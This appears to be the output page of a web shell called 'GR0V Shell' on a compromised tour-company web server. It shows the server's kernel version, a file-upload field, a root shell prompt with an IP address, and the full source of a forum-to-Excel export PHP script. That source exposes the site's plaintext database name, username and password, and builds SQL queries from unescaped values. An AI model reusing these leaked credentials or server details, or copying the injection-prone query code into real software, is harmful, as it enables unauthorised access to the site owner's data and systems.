? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/
File Upload :
Current File : /home/admin/public_html/old/webboard_list1.php

<?php 
$hostname_connection = "localhost"; 
$database_connection = "admin_happykorea"; 
$username_connection = "admin_happykorea"; 
$password_connection = "happyktcc2011"; 
 
$connection = mysql_pconnect($hostname_connection, $username_connection, $password_connection) or trigger_error(mysql_error(),E_USER_ERROR); 
mysql_query("SET NAMES UTF8") ;
 
mysql_select_db($database_connection, $connection); 

$query_detail = "SELECT * FROM jos_kunena_messages INNER JOIN jos_kunena_messages_text ON  jos_kunena_messages.id=jos_kunena_messages_text.mesid Where catid='16' order by userid desc"; 
$report_order_detail = mysql_query($query_detail, $connection) or die(mysql_error()); 
$row_report = mysql_fetch_array($report_order_detail); 
$totalRows = mysql_num_rows($report_order_detail);

//------- Topic ---------------//
$query_topic = "SELECT * FROM  jos_kunena_messages where catid='16' and parent='0' "; 
$query_topic_detail = mysql_query($query_topic, $connection) or die(mysql_error()); 
$row_reporttopic = mysql_fetch_array($query_topic_detail); 
$totalRowstopic = mysql_num_rows($query_topic_detail);

$allhits="0";
$i="1";

header("Content-Type: application/vnd.ms-excel");
header('Content-Disposition: attachment; filename="MyXls.xls"');# ª×èÍä¿Åì 

?> 
 <html xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40">

<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Colored Row</title>
</head>
 
<body>

<TABLE x:str BORDER="1" width="100%">
<tr width="100%" valign="top" bgcolor="#0099FF"> 
    <th>#</th> 
	<!-- <th>ID</th> -->
   <!-- <th>Parent</th> -->
    <th>Name</th>
    <!-- <th>Userid</th>  -->
    <!-- <th>Email</th>  -->
	<!-- <th>Picture</th> -->
    <!--<th>Subject</th> -->
	<th width="500px">Message</th> 	 
    <th>Hits</th> 
	<th>Reply</th>
	<th>View</th> 
</tr> 
 
<?php 
do { 
 
	$iLoop = ($old_record == $row_report['userid'])? $iLoop : ++$iLoop ; 
	$bgcolor = (($iLoop%2)==0)?"#FFFFFF":"#DFF7FF"; 
	
	//------- Reply Topic ---------------//
	$resubject = "Re: ".$row_report['subject'];

	if($row_report['parent']=='0') {
		$query_reply = "SELECT COUNT(subject) FROM  jos_kunena_messages where catid='16' AND subject='".$resubject."'"; 
		$query_reply_detail = mysql_query($query_reply, $connection) or die(mysql_error()); 
		$row_reportreply = mysql_result($query_reply_detail, 0);
	}else{$row_reportreply="0";}

	//------- image ---------------//
		$query_pic = "SELECT * FROM  jos_kunena_attachments where mesid='".$row_report['mesid']."'"; 
		$query_pic_detail = mysql_query($query_pic, $connection) or die(mysql_error()); 

		if($row_reportpic = mysql_fetch_array($query_pic_detail)){
		$mesidtxt="<IMG SRC='http://www.happytokorea.com/".$row_reportpic['folder']."/".$row_reportpic['filename']."' WIDTH='100px' HEIGHT='100px' BORDER='0' >";
		}else{		
			$mesidtxt="<center>No Picture</center>";
		}
 
?> 
 
<tr bgcolor="<?php echo $bgcolor ;?>" valign="top">
 
    <td><?php echo $i; ?></td>
	<!--<td><?php echo $row_report['id']; ?></td> -->
    <!--<td><?php echo $row_report['parent']; ?></td>  -->
    <td><b>ID : </b><?php echo $row_report['id']; ?><br/><b>Name : </b><?php echo $row_report['name']; ?></td>
    <!--<td><?php echo $row_report['userid']; ?></td>  -->
    <!--<td><?php echo $row_report['email']; ?></td>  -->
	<!--<td><?php echo $mesidtxt; ?></td>-->
    <td><b>Subject : </b><?php echo $row_report['subject']; ?><br/><b>Message : </b><?php echo $row_report['message']; ?></td> 
	<!--<td><?php echo $row_report['message']; ?></td> -->		
    <td><?php echo $row_report['hits']; ?></td>
	<td><?php echo $row_reportreply; ?></td> 
	<td><A HREF="http://www.happytokorea.com/index.php?option=com_kunena&func=view&catid=16&id=<?php echo $row_report['id']; ?>" target="_blank">view</A></td>
 
</tr> 
 
<?php 
	$old_record = $row_report['userid'] ;
	$allhits = $allhits+$row_report['hits'];
	$i=$i+1;
} while ($row_report = mysql_fetch_array($report_order_detail)); 
mysql_close($connection);
?>
 
</table> 
<br/>
<b>Total Topic : </b><?=$totalRowstopic?><br/>
<b>Total View : </b><?=$allhits?><br/>
<b>Total Reply : </b><?=$totalRows-$totalRowstopic?><br/>

</body> 
</html>

T1KUS90T
  root-grov@210.1.60.28:~$